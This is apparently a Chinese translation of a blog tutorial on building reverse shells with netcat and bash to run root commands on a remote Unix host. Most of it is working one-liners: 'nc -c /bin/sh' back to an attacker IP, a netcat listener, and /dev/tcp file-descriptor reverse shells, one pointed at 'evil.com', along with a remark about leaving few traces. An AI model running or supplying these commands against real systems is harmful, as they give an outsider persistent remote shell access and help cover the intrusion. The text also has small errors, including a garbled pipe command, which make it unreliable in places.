如何使用NetCat或BASH创建反向Shell来执行远程Root命令

jopen 10年前

        英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH

        反向 shell (Reverse shell)是一种往远程机器发送 shell 命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的 shell 或简单的 SSH 通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通 shell 和反向 shell 之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。

        反向 Shell (Reverse Shell)

  • 反向 shell 的工作方式是远程计算机将自己的 shell 发送给特定的用户,而不是将 shell 绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行 root 命令。

        Bind Shell

  • bind shell 是用户用 BSAH,将 shell 绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。

        反向 shell 经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向 shell,将来他们就能通过这个 shell 轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。

        环境要求

  • 远程 Unix 主机
  • 安装了netcat

        使用 NetCat 实现反向 shell 交互

        当通过 shell 登录到远程主机后,下面的指令能轻松的将 shell 发送到你的机器上:

        nc -c /bin/sh <你的 IP> <任何一个未封锁的端口>

        你甚至能通过 netcat 来 pipe BASH。

            /bin/sh nc <你的 IP> <任何未封锁的端口>

        然后监听这个 shell:

        nc -l -p <相同的端口> -vvv

        通过 BASH 实现反向 shell

        这种技术是当远程机器上没有 netcat 或你想做一些非自然的事情而不想留下太重的痕迹时使用。

        监听 shell:

        nc -l -p <任何未封锁的端口> -vvv

        先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。

        exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 while read line; do $line 2>&5 >&5; done

        或另外一个反向 shell:

        0<&196;exec 196<>/dev/tcp/<你的 IP>/<相同的端口>; sh <&196 >&196 2>&196

如何使用NetCat或BASH创建反向Shell来执行远程Root命令

        这样,你就可以轻松是通过 netcat 发送任何命令了。

来自: 外刊IT评论